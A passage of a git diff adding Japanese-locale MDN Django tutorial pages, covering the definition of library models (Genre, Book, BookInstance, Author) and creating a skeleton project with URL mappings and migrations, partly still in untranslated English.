<code>title</code> and <code>genre</code> fields, where genre is also a model with a single field <code>name</code>.</p> +</div> + +<p>We can get all records for a model as a <code>QuerySet</code>, using <code>objects.all()</code>. The <code>QuerySet</code> is an iterable object, meaning that it contains a number of objects that we can iterate/loop through.</p> + +<pre class="brush: python">all_books = Book.objects.all() +</pre> + +<p>Django's <code>filter()</code> method allows us to filter the returned <code>QuerySet</code> to match a specified <strong>text</strong> or <strong>numeric</strong> field against particular criteria. For example, to filter for books that contain "wild" in the title and then count them, we could do the following.</p> + +<pre class="brush: python">wild_books = Book.objects.filter(title__contains='wild') +number_wild_books = wild_books.count() +</pre> + +<p>The fields to match and the type of match are defined in the filter parameter name, using the format: <code>field_name__match_type</code> (note the <em>double underscore</em> between <code>title</code> and <code>contains</code> above). Above we're filtering <code>title</code> with a case-sensitive match. There are many other types of matches you can do: <code>icontains</code> (case insensitive), <code>iexact</code> (case-insensitive exact match), <code>exact</code> (case-sensitive exact match) and <code>in</code>, <code>gt</code> (greater than), <code>startswith</code>, etc. The <a href="https://docs.djangoproject.com/en/2.1/ref/models/querysets/#field-lookups">full list is here</a>.</p> + +<p>In some cases you'll need to filter on a field that defines a one-to-many relationship to another model (e.g. a <code>ForeignKey</code>). In this case you can "index" to fields within the related model with additional double underscores. So for example to filter for books with a specific genre pattern, you will have to index to the <code>name</code> through the <code>genre</code> field, as shown below:</p> + +<pre class="brush: python"># Will match on: Fiction, Science fiction, non-fiction etc. +books_containing_genre = Book.objects.filter(genre<strong>__</strong>name<strong>__</strong>icontains='fiction') +</pre> + +<div class="note"> +<p><strong>Note</strong>: You can use underscores (__) to navigate as many levels of relationships (<code>ForeignKey</code>/<code>ManyToManyField</code>) as you like. For example, a <code>Book</code> that had different types, defined using a further "cover" relationship might have a parameter name: <code>type__cover__name__exact='hard'.</code></p> +</div> + +<p>There is a lot more you can do with queries, including backwards searches from related models, chaining filters, returning a smaller set of values etc. For more information see <a href="https://docs.djangoproject.com/en/2.1/topics/db/queries/">Making queries</a> (Django Docs).</p> + +<h2 id="Defining_the_LocalLibrary_Models">Defining the LocalLibrary Models</h2> + +<p>In this section we will start defining the models for the library. Open <em>models.py (in /locallibrary/catalog/)</em>. The boilerplate at the top of the page imports the <em>models</em> module, which contains the model base class <code>models.Model</code> that our models will inherit from.</p> + +<pre class="brush: python">from django.db import models + +# Create your models here.</pre> + +<h3 id="Genre_model">Genre model</h3> + +<p>Copy the <code>Genre</code> model code shown below and paste it into the bottom of your <code>models.py</code> file. This model is used to store information about the book category — for example whether it is fiction or non-fiction, romance or military history, etc. As mentioned above, we've created the Genre as a model rather than as free text or a selection list so that the possible values can be managed through the database rather than being hard coded.</p> + +<pre class="brush: python">class Genre(models.Model): + """Model representing a book genre.""" + name = models.CharField(max_length=200, help_text='Enter a book genre (e.g. Science Fiction)') + + def __str__(self): + """String for representing the Model object.""" + return self.name</pre> + +<p>The model has a single <code>CharField</code> field (<code>name</code>), which is used to describe the genre (this is limited to 200 characters and has some <code>help_text</code>. At the end of the model we declare a <code>__str__()</code> method, which simply returns the name of the genre defined by a particular record. No verbose name has been defined, so the field will be called <code>Name</code> in forms.</p> + +<h3 id="Book_model">Book model</h3> + +<p>Copy the Book model below and again paste it into the bottom of your file. The book model represents all information about an available book in a general sense, but not a particular physical "instance" or "copy" available for loan. The model uses a <code>CharField</code> to represent the book's <code>title</code> and <code>isbn</code> (note how the <code>isbn</code> specifies its label as "ISBN" using the first unnamed parameter because the default label would otherwise be "Isbn"). The model uses <code>TextField</code> for the <code>summary</code>, because this text may need to be quite long.</p> + +<pre class="brush: python">from django.urls import reverse # Used to generate URLs by reversing the URL patterns + +class Book(models.Model): + """Model representing a book (but not a specific copy of a book).""" + title = models.CharField(max_length=200) + + # Foreign Key used because book can only have one author, but authors can have multiple books + # Author as a string rather than object because it hasn't been declared yet in the file + author = models.ForeignKey('Author', on_delete=models.SET_NULL, null=True) + + summary = models.TextField(max_length=1000, help_text='Enter a brief description of the book') + isbn = models.CharField('ISBN', max_length=13, help_text='13 Character <a href="https://www.isbn-international.org/content/what-isbn">ISBN number</a>') + + # ManyToManyField used because genre can contain many books. Books can cover many genres. + # Genre class has already been defined so we can specify the object above. + genre = models.ManyToManyField(Genre, help_text='Select a genre for this book') + + def __str__(self): + """String for representing the Model object.""" + return self.title + + def get_absolute_url(self): + """Returns the url to access a detail record for this book.""" + return reverse('book-detail', args=[str(self.id)]) +</pre> + +<p>The genre is a <code>ManyToManyField</code>, so that a book can have multiple genres and a genre can have many books. The author is declared as <code>ForeignKey</code>, so each book will only have one author, but an author may have many books (in practice a book might have multiple authors, but not in this implementation!)</p> + +<p>In both field types the related model class is declared as the first unnamed parameter using either the model class or a string containing the name of the related model. You must use the name of the model as a string if the associated class has not yet been defined in this file before it is referenced! The other parameters of interest in the <code>author</code> field are <code>null=True</code>, which allows the database to store a <code>Null</code> value if no author is selected, and <code>on_delete=models.SET_NULL</code>, which will set the value of the author to <code>Null</code> if the associated author record is deleted.</p> + +<p>The model also defines <code>__str__()</code> , using the book's <code>title</code> field to represent a <code>Book</code> record. The final method, <code>get_absolute_url()</code> returns a URL that can be used to access a detail record for this model (for this to work we will have to define a URL mapping that has the name <code>book-detail</code>, and define an associated view and template).</p> + +<h3 id="BookInstance_model">BookInstance model</h3> + +<p>Next, copy the <code>BookInstance</code> model (shown below) under the other models. The <code>BookInstance</code> represents a specific copy of a book that someone might borrow, and includes information about whether the copy is available or on what date it is expected back, "imprint" or version details, and a unique id for the book in the library.</p> + +<p>Some of the fields and methods will now be familiar. The model uses</p> + +<ul> + <li><code>ForeignKey</code> to identify the associated <code>Book</code> (each book can have many copies, but a copy can only have one <code>Book</code>).</li> + <li><code>CharField</code> to represent the imprint (specific release) of the book.</li> +</ul> + +<pre class="brush: python">import uuid # Required for unique book instances + +class BookInstance(models.Model): + """Model representing a specific copy of a book (i.e. that can be borrowed from the library).""" + id = models.UUIDField(primary_key=True, default=uuid.uuid4, help_text='Unique ID for this particular book across whole library') + book = models.ForeignKey('Book', on_delete=models.SET_NULL, null=True) + imprint = models.CharField(max_length=200) + due_back = models.DateField(null=True, blank=True) + + LOAN_STATUS = ( + ('m', 'Maintenance'), + ('o', 'On loan'), + ('a', 'Available'), + ('r', 'Reserved'), + ) + + status = models.CharField( + max_length=1, + choices=LOAN_STATUS, + blank=True, + default='m', + help_text='Book availability', + ) + + class Meta: + ordering = ['due_back'] + + def __str__(self): + """String for representing the Model object.""" + return f'{self.id} ({self.book.title})'</pre> + +<p>We additionally declare a few new types of field:</p> + +<ul> + <li><code>UUIDField</code> is used for the <code>id</code> field to set it as the <code>primary_key</code> for this model. This type of field allocates a globally unique value for each instance (one for every book you can find in the library).</li> + <li><code>DateField</code> is used for the <code>due_back</code> date (at which the book is expected to come available after being borrowed or in maintenance). This value can be <code>blank</code> or <code>null</code> (needed for when the book is available). The model metadata (<code>Class Meta</code>) uses this field to order records when they are returned in a query.</li> + <li><code>status</code> is a <code>CharField</code> that defines a choice/selection list. As you can see, we define a tuple containing tuples of key-value pairs and pass it to the choices argument. The value in a key/value pair is a display value that a user can select, while the keys are the values that are actually saved if the option is selected. We've also set a default value of 'm' (maintenance) as books will initially be created unavailable before they are stocked on the shelves.</li> +</ul> + +<p>The model <code>__str__()</code> represents the <code>BookInstance</code> object using a combination of its unique id and the associated <code>Book</code>'s title.</p> + +<div class="note"> +<p><strong>Note</strong>: A little Python:</p> + +<ul> + <li>Starting with Python 3.6, you can use the string interpolation syntax (also known as f-strings): <code>f'{self.id} ({self.book.title})'</code>.</li> + <li>In older versions of this tutorial, we were using a <a href="https://www.python.org/dev/peps/pep-3101/">formatted string</a> syntax, which is also a valid way of formatting strings in Python (e.g. <code>'{0} ({1})'.format(self.id,self.book.title)</code>).</li> +</ul> +</div> + +<h3 id="Author_model">Author model</h3> + +<p>Copy the <code>Author</code> model (shown below) underneath the existing code in <strong>models.py</strong>.</p> + +<pre class="brush: python">class Author(models.Model): + """Model representing an author.""" + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) + + class Meta: + ordering = ['last_name', 'first_name'] + + def get_absolute_url(self): + """Returns the url to access a particular author instance.""" + return reverse('author-detail', args=[str(self.id)]) + + def __str__(self): + """String for representing the Model object.""" + return f'{self.last_name}, {self.first_name}' +</pre> + +<p>All of the fields/methods should now be familiar. The model defines an author as having a first name, last name, and dates of birth and death (both optional). It specifies that by default the <code>__str__()</code> returns the name in <em>last name</em>, <em>firstname </em>order. The <code>get_absolute_url()</code> method reverses the <code>author-detail</code> URL mapping to get the URL for displaying an individual author.</p> + +<h2 id="Re-run_the_database_migrations">Re-run the database migrations</h2> + +<p>All your models have now been created. Now re-run your database migrations to add them to your database.</p> + +<pre><code>python3 manage.py makemigrations +python3 manage.py migrate</code></pre> + +<h2 id="Language_model_—_challenge">Language model — challenge</h2> + +<p>Imagine a local benefactor donates a number of new books written in another language (say, Farsi). The challenge is to work out how these would be best represented in our library website, and then to add them to the models.</p> + +<p>Some things to consider:</p> + +<ul> + <li>Should "language" be associated with a <code>Book</code>, <code>BookInstance</code>, or some other object?</li> + <li>Should the different languages be represented using model, a free text field, or a hard-coded selection list?</li> +</ul> + +<p>After you've decided, add the field. You can see what we decided on Github <a href="https://github.com/mdn/django-locallibrary-tutorial/blob/master/catalog/models.py">here</a>.</p> + +<p>Don't forget that after a change to your model, you should again re-run your database migrations to add the changes.</p> + +<pre><code>python3 manage.py makemigrations</code><code> +python3 manage.py migrate</code></pre> + +<ul> +</ul> + +<ul> +</ul> + +<h2 id="Summary">Summary</h2> + +<p>In this article we've learned how models are defined, and then used this information to design and implement appropriate models for the <em>LocalLibrary</em> website.</p> + +<p>At this point we'll divert briefly from creating the site, and check out the <em>Django Administration site</em>. This site will allow us to add some data to the library, which we can then display using our (yet to be created) views and templates.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.1/intro/tutorial02/">Writing your first Django app, part 2</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.1/topics/db/queries/">Making queries</a> (Django Docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/querysets/">QuerySet API Reference</a> (Django Docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</p> + + + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/ja/learn/server-side/django/skeleton_website/index.html b/files/ja/learn/server-side/django/skeleton_website/index.html new file mode 100644 index 0000000000..0d76ae46eb --- /dev/null +++ b/files/ja/learn/server-side/django/skeleton_website/index.html @@ -0,0 +1,398 @@ +--- +title: 'Django チュートリアル Part 2: スケルトンウェブサイトの作成' +slug: Learn/Server-side/Django/skeleton_website +tags: + - django + - イントロダクション + - ガイド + - チュートリアル + - 初心者 + - 学習 + - 記事 +translation_of: Learn/Server-side/Django/skeleton_website +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</div> + +<p class="summary"><a href="/ja/docs/Learn/Server-side/Django/Tutorial_local_library_website">Djangoチュートリアル</a> の2つ目の記事では、基本的なウェブサイトプロジェクトの「スケルトン」をどのように作っていくのかを説明します。サイト固有の設定、URL、モデル、ビュー、テンプレートを作成する方法について説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Django 開発環境の設定</a>。<a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Djangoチュートリアル</a>を確認してください。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>Djangoのツールを使って自分の新しいウェブサイトプロジェクトを開始できるようにする。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>この記事は、"スケルトン"ウェブサイトを作る方法を示します。そこにはサイト固有の設定、パス、モデル、ビューやテンプレートを組み込むことができるます。(これらについては後で述べます)</p> + +<p>そのプロセスは単純です:</p> + +<ol> + <li><code style="font-style: normal; font-weight: normal; line-height: 1.5;">django-admin</code><span style="line-height: 1.5;"> ツールを使ってプロジェクトフォルダ、基本的なテンプレートファイル、プロジェクト管理スクリプト(</span><strong style="line-height: 1.5;">manage.py</strong><span style="line-height: 1.5;">)を作ります .</span></li> + <li><strong style="line-height: 1.5;">manage.py</strong><span style="line-height: 1.5;"> は１つ以上のアプリケーションを作ります。</span> + <div class="note"> + <p><strong>メモ</strong>: ウェブサイトは1つ以上のセクションから成ります。例えば、メインサイト、ブログ、ウィキ、ダウンロードエリアなど。Djangoは、これらのコンポーネントを別々のアプリケーションとして作成することを助けてくれます。それらは、必要なら異なるプロジェクトで再利用できます。</p> + </div> + </li> + <li><span style="line-height: 1.5;">プロジェクトにアプリケーションを含めるために登録します。</span></li> + <li><span style="line-height: 1.5;">url/path マッパーはそれらのアプリケーションを</span>結びつけます。</li> +</ol> + +<p><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Local Library website</a> のために、ウェブサイトフォルダとプロジェクトフォルダは<em>locallibrary</em> という名前をつけます。また、１つのアプリケーションは<em>catalog</em>という名前をつけます。 したがって、最上位のフォルダ構成は以下のようになります。:</p> + +<pre class="brush: bash"><em>locallibrary/ # Website folder</em> + <strong>manage.py </strong># Script to run Django tools for this project (created using django-admin) + <em>locallibrary/ # Website/project folder </em>(created using django-admin) + <em>catalog/ # Application folder </em>(created using manage.py) +</pre> + +<p><span style="line-height: 1.5;">以下のセクションでは、その過程をもっと詳細に述べ、あなたが変更を試す方法を示しましょう。この記事の最後に、我々はいくつかの他のウェブサイトの設定について述べてみます。それはあなたがこのステージで行っていることかもしませんが。</span></p> + +<h2 id="プロジェクトの作成">プロジェクトの作成</h2> + +<p>始めにコマンドプロンプトまたはターミナルを開いて、（先に自分が仮想環境(<a href="/en-US/docs/Learn/Server-side/Django/development_environment#Using_a_virtual_environment">virtual environment</a>)にいることを確認して下さい）、Djangoアプリを格納したい場所へ移動します（ドキュメントフォルダの中など探しやすい場所にしましょう）。そして、新しいウェブサイトのフォルダ（この場合は<em> locallibrary</em>）<span style="line-height: 1.5;">を作りましょう。そして、cdコマンドでそのフォルダへ移動しましょう。</span></p> + +<pre class="brush: bash">mkdir locallibrary +cd locallibrary</pre> + +<p>以下のように、<code>django-admin startproject</code>コマンドで新しいプロジェクトを作り、そのフォルダの中に移動します。</p> + +<pre class="brush: bash">django-admin startproject locallibrary +cd locallibrary</pre> + +<p><code>django-admin</code>ツールは以下のようなフォルダ/ファイル構成を作ります。</p> + +<pre class="brush: bash"><em>locallibrary/</em> + <strong>manage.py</strong> + <em>locallibrary/</em> + settings.py + urls.py + wsgi.py</pre> + +<p>我々の現在の作業ディレクトリはこのようなものになっているでしょう。</p> + +<pre class="syntaxbox">../django_projects/locallibrary/</pre> + +<p><em>locallibrary</em>プロジェクトのサブフォルダはこのウェブサイトに入口点となります: </p> + +<ul> + <li><strong>__init__.py </strong>は空ファイルであり、このディレクトリをPythonパッケージとして扱うように指示します。</li> + <li><strong>settings.py</strong> はすべてのウェブサイトの設定を含んでいます。ここに、我々が作成した全てのアプリケーション、スタティックファイルの場所やデータベースの詳細設定などを登録します。</li> + <li><strong>urls.py</strong> はサイトのurlとviewのマッピングを定義します。これは、すべてのurlマッピングコードを含むことができる一方で、いくつかのマッピングは特定のアプリケーションへ委任するのがより一般的です。 また後で分かるでしょう。<span style="line-height: 1.5;"> </span></li> + <li><strong style="line-height: 1.5;">wsgi.py</strong><span style="line-height: 1.5;"> はあなたのDjangoアプリケーションがwebサーバと通信するのを助けてくれます。あなたはこれを定型として使うことができます。</span></li> +</ul> + +<p><strong>manage.py</strong> スクリプトはアプリケーションを作成したり、データベースを操作したり、webサーバを起動したりするのに使われます。</p> + +<h2 id="catalogアプリケーションの作成">catalogアプリケーションの作成</h2> + +<p>次に、以下のコマンドを実行し、localibrary プロジェクトの中にアプリケーションを作りましょう。（このコマンドはプロジェクト内のmanage.pyと同じフォルダで実行する必要があります）</p> + +<pre class="brush: bash">python3 manage.py startapp catalog</pre> + +<div class="note"> +<p><strong>メモ</strong>: 上記コマンドは LinuxやmacOS X用です。Windows のコマンドは: <code>py -3 manage.py startapp catalog</code></p> + +<p>もしWindowsを使っているなら、このモジュール（manage.py）を使う際は<code>python3</code> を <code>py -3</code> に変更して下さい。</p> + +<p>もしPython 3.7.0以降を使用しているなら、<code>py manage.py startapp catalog</code>で使用できます。</p> +</div> + +<p>このツールは新しいフォルダを作成し、アプリケーションの様々なパーツとなるファイルをそのフォルダに追加します（以下の太字で表示）。 ほとんどのファイルは目的に応じて便利な名前が付けられており(例えば ビューは<strong>views.py</strong>に、モジュールは <strong>models.py</strong>に、テストは<strong>tests.py</strong>に、管理サイトの設定は <strong>admin.py</strong>に、アプリケーションの登録は<strong>apps.py</strong>に保存する必要がある)、 さらに、関連するオブジェクトを操作するための最低限の定型的なコードを用意している。</p> + +<p>アップデートされた後のプロジェクトディレクトリはこのようになる:</p> + +<pre class="brush: bash"><em>locallibrary/</em> + manage.py + <em>locallibrary/ +</em><strong> <em>catalog/</em> + admin.py + apps.py + models.py + tests.py + views.py + __init__.py + <em>migrations/</em></strong> +</pre> + +<p>加えて今持っているものは:</p> + +<ul> + <li>"マイグレーション"を格納するためのマイグレーションフォルダーモデルを変更した場合に自動的にデータベースの変更をするためのファイル</li> + <li><strong>__init__.py</strong> — Django/Pythonがこのフォルダを <a href="https://docs.python.org/3/tutorial/modules.html#packages">Python Package</a> であると認識するためにここに作られた空のファイル。そうすることで、このオブジェクトは他のプロジェクトでも使用できる。</li> +</ul> + +<div class="note"> +<p><strong>メモ</strong>: 上記ファイルリストに何か欠けているものがあることに気づきましたか？ ビューやモデルがある一方で、URLマッピング、テンプレート、静的ファイルの配置場所はありません。それらの作り方も以後説明します。(それらは全てのサイトで必須ではないですが、この例では必要になります。).</p> +</div> + +<h2 id="catalogアプリケーションの登録">catalogアプリケーションの登録</h2> + +<p>アプリケーションが作成されたので、ツールを実行するために（例えばデータベースにモデルを追加する）プロジェクトに登録する必要がある。 アプリケーションの登録はプロジェクトの設定で<code>INSTALLED_APPS</code> リストに加えることで行えます。</p> + +<p>プロジェクトの設定ファイル <strong>locallibrary/locallibrary/settings.py</strong> を開いて、<code>INSTALLED_APPS</code> リストの定義を見つけましょう。そして、以下のようにリストの最後に新しい行を追加しましょう。</p> + +<pre class="brush: bash">INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', +<strong> 'catalog.apps.CatalogConfig', </strong> +]</pre> + +<p>追加した新しい行はアプリケーションの構成オブジェクト(<code>CatalogConfig</code>) を指定しており、それはアプリケーション作成時に<strong>/locallibrary/catalog/apps.py</strong> によって生成されています。</p> + +<div class="note"> +<p><strong>メモ</strong>: すでにたくさんの他の<code>INSTALLED_APPS</code> (<code>MIDDLEWARE</code>も同様。設定ファイルのさらに下の方にあります)が存在していることに気づいたでしょう。これらは、<a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django administration site</a> をサポートすること可能にし、その結果、Djangoが使用するたくさんの機能(セッション、認証など)をサポートします。</p> +</div> + +<h2 id="データベースの指定">データベースの指定</h2> + +<p>これは、プロジェクトで使用するデータベースを特定する場所を指しています。— 開発と本番で動作のわずかな違いを避けるために、可能な限り同じデータベースを使用するのがよいでしょう。様々な<a href="https://docs.djangoproject.com/en/2.0/ref/settings/#databases">Databases</a> オプションを確認することができます(Django docs)。</p> + +<p>この例では、SQLite データベースを使いましょう。なぜなら、デモンストレーションデータベースでは多くの同時アクセスを必要とせず、セットアップ作業に追加の作業が不要だからです。このデータベースがどのように設定されているかは <strong>settings.py</strong> で確認できます。 (詳細は以下にも記載しています):</p> + +<pre class="brush: python">DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), + } +} +</pre> + +<p>SQLiteを使っているので、ここではこれ以上のセットアップは不要です。次へ移りましょう！</p> + +<h2 id="その他のプロジェクト設定">その他のプロジェクト設定</h2> + +<p><strong>settings.py</strong> ファイルは、ほかのいくつかの設定の構成にも使用されますが、この時点では <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-TIME_ZONE">TIME_ZONE</a> を変更するだけでよいでしょう。これは、tzデータベースタイムゾーンの標準リストの文字列を同じにする必要があります。（テーブルのTZ列に必要な値が含まれています） <code>TIME_ZONE</code> の値を、あなたのタイムゾーンに適した文字列に変更しましょう。<br> + 例を示します:</p> + +<pre class="brush: python">TIME_ZONE = 'Europe/London'</pre> + +<p>今は変更しないが、次の２つの設定があることに注意してください。</p> + +<ul> + <li><code>SECRET_KEY</code>. これは、Djangoのセキュリティ対策の一つとして使用される秘密鍵である。開発中にこのコードを保護していない場合は、運用環境へ配置する際は別のコード(おそらく環境変数かファイルから読み込む)を使う必要があります。</li> + <li><code>DEBUG</code>. これは、エラー時にHTTPステータスコードの応答ではなく、デバッグログを表示させます。運用環境では、攻撃者にとって有効なデバッグ情報は <code>False</code> にしておくべきです。しかし、今は<code>True</code>のままにしておきましょう。</li> +</ul> + +<h2 id="URLマッパーの接続">URLマッパーの接続</h2> + +<p>Webサイトは、プロジェクトフォルダー内のURLマッパーファイル（urls.py）で作成されます。このファイルを使用してすべてのURLマッピングを管理できますが、関連付けられたアプリケーションへマッピングを延ばすのがより一般的です。</p> + +<p> <strong>locallibrary/locallibrary/urls.py</strong> を開いて、URLマッパーを使うためのいくつかの方法を記した説明文に注意してください。</p> + +<pre class="brush: python">"""locallibrary URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/2.0/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +from django.contrib import admin +from django.urls import path + +urlpatterns = [ + path('admin/', admin.site.urls), +] +</pre> + +<p>The URL mappings are managed through the <code>urlpatterns</code> variable, which is a Python <em>list</em> of <code>path()</code> functions. Each <code>path()</code> function either associates a URL pattern to a <em>specific view</em>, which will be displayed when the pattern is matched, or with another list of URL pattern testing code (in this second case, the pattern becomes the "base URL" for patterns defined in the target module). The <code>urlpatterns</code> list initially defines a single function that maps all URLs with the pattern <em>admin/</em> to the module <code>admin.site.urls</code> , which contains the Administration application's own URL mapping definitions.</p> + +<div class="note"> +<p><strong>Note</strong>: The route in <code>path()</code> is a string defining a URL pattern to match. This string might include a named variable (in angle brackets), e.g. <code>'catalog/<id>/'</code>. This pattern will match a URL like <strong>/catalog/</strong><em>any_chars</em><strong>/</strong> and pass <em>any_chars</em> to the view as a string with parameter name <code>id</code>). We discuss path methods and route patterns further in later topics.</p> +</div> + +<p>Add the lines below to the bottom of the file in order to add a new list item to the <code>urlpatterns</code> list. This new item includes a <code>path()</code> that forwards requests with the pattern <code>catalog/</code> to the module <code>catalog.urls</code> (the file with the relative URL <strong>/catalog/urls.py</strong>).</p> + +<pre class="brush: python"># Use include() to add paths from the catalog application +from django.conf.urls import include +from django.urls import path + +urlpatterns += [ + path('catalog/', include('catalog.urls')), +] +</pre> + +<p>Now let's redirect the root URL of our site (i.e. <code>127.0.0.1:8000</code>) to the URL <code>127.0.0.1:8000/catalog/</code>; this is the only app we'll be using in this project, so we might as well. To do this, we'll use a special view function (<code>RedirectView</code>), which takes as its first argument the new relative URL to redirect to (<code>/catalog/</code>) when the URL pattern specified in the <code>path()</code> function is matched (the root URL, in this case).</p> + +<p>Add the following lines, again to the bottom of the file:</p> + +<pre class="brush: python">#Add URL maps to redirect the base URL to our application +from django.views.generic import RedirectView +urlpatterns += [ + path('', RedirectView.as_view(url='/catalog/')), +]</pre> + +<p>Leave the first parameter of the path function empty to imply '/'. If you write the first parameter as '/' Django will give you the following warning when you start the development server:</p> + +<pre class="brush: python">System check identified some issues: + +WARNINGS: +?: (urls.W002) Your URL pattern '/' has a route beginning with a '/'. +Remove this slash as it is unnecessary. +If this pattern is targeted in an include(), ensure the include() pattern has a trailing '/'. +</pre> + +<p>Django does not serve static files like CSS, JavaScript, and images by default, but it can be useful for the development web server to do so while you're creating your site. As a final addition to this URL mapper, you can enable the serving of static files during development by appending the following lines. </p> + +<p>Add the following final block to the bottom of the file now:</p> + +<pre><code># Use static() to add url mapping to serve static files during development (only) +from django.conf import settings +from django.conf.urls.static import static + +urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code> +</pre> + +<div class="note"> +<p><strong>Note</strong>: There are a number of ways to extend the <code>urlpatterns</code> list (above we just appended a new list item using the <code>+=</code> operator to clearly separate the old and new code). We could have instead just included this new pattern-map in the original list definition:</p> + +<pre class="brush: python">urlpatterns = [ + path('admin/', admin.site.urls), + path('catalog/', include('catalog.urls')), + path('', RedirectView.as_view(url='/catalog/', permanent=True)), +] + <code>static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code> +</pre> + +<p>In addition, we included the import line (<code>from django.urls import include</code>) with the code that uses it (so it is easy to see what we've added), but it is common to include all your import lines at the top of a Python file.</p> +</div> + +<p>As a final step, create a file inside your catalog folder called <strong>urls.py</strong>, and add the following text to define the (empty) imported <code>urlpatterns</code>. This is where we'll add our patterns as we build the application. </p> + +<pre class="brush: python">from django.urls import path +from . import views + + +urlpatterns = [ + +] +</pre> + +<h2 id="ウェブサイトフレームワークのテスト">ウェブサイトフレームワークのテスト</h2> + +<p>At this point we have a complete skeleton project. The website doesn't actually <em>do</em> anything yet, but its worth running it to make sure that none of our changes have broken anything. </p> + +<p>Before we do that, we should first run a <em>database migration</em>. This updates our database to include any models in our installed applications (and removes some build warnings).</p> + +<h3 id="Running_database_migrations">Running database migrations</h3> + +<p>Django uses an Object-Relational-Mapper (ORM) to map Model definitions in the Django code to the data structure used by the underlying database. As we change our model definitions, Django tracks the changes and can create database migration scripts (in <strong>/locallibrary/catalog/migrations/</strong>) to automatically migrate the underlying data structure in the database to match the model.</p> + +<p>When we created the website Django automatically added a number of models for use by the admin section of the site (which we'll look at later). Run the following commands to define tables for those models in the database (make sure you are in the directory that contains<strong> manage.py</strong>):</p> + +<pre class="brush: bash">python3 manage.py makemigrations +python3 manage.py migrate +</pre> + +<div class="warning"> +<p><strong>Important</strong>: You'll need to run the above commands every time your models change in a way that will affect the structure of the data that needs to be stored (including both addition and removal of whole models and individual fields).</p> +</div> + +<p>The <code>makemigrations</code> command <em>creates</em> (but does not apply) the migrations for all applications installed in your project (you can specify the application name as well to just run a migration for a single project). This gives you a chance to checkout the code for these migrations before they are applied — when you're a Django expert you may choose to tweak them slightly!</p> + +<p>The <code>migrate</code> command actually applies the migrations to your database (Django tracks which ones have been added to the current database).</p> + +<div class="note"> +<p><strong>Note</strong>: See <a href="https://docs.djangoproject.com/en/2.0/topics/migrations/">Migrations</a> (Django docs) for additional information about the lesser-used migration commands.</p> +</div> + +<h3 id="Running_the_website">Running the website</h3> + +<p>During development you can test the website by first serving it using the <em>development web server</em>, and then viewing it on your local web browser. </p> + +<div class="note"> +<p><strong>Note</strong>: The development web server is not robust or performant enough for production use, but it is a very easy way to get your Django website up and running during development to give it a convenient quick test. By default it will serve the site to your local computer (<code>http://127.0.0.1:8000/)</code>, but you can also specify other computers on your network to serve to. For more information see <a href="https://docs.djangoproject.com/en/2.0/ref/django-admin/#runserver">django-admin and manage.py: runserver</a> (Django docs).</p> +</div> + +<p>Run the <em>development web server</em> by calling the <code>runserver</code> command (in the same directory as <strong>manage.py</strong>):</p> + +<pre class="brush: bash">python3 manage.py runserver + + Performing system checks... + + System check identified no issues (0 silenced). + September 22, 2016 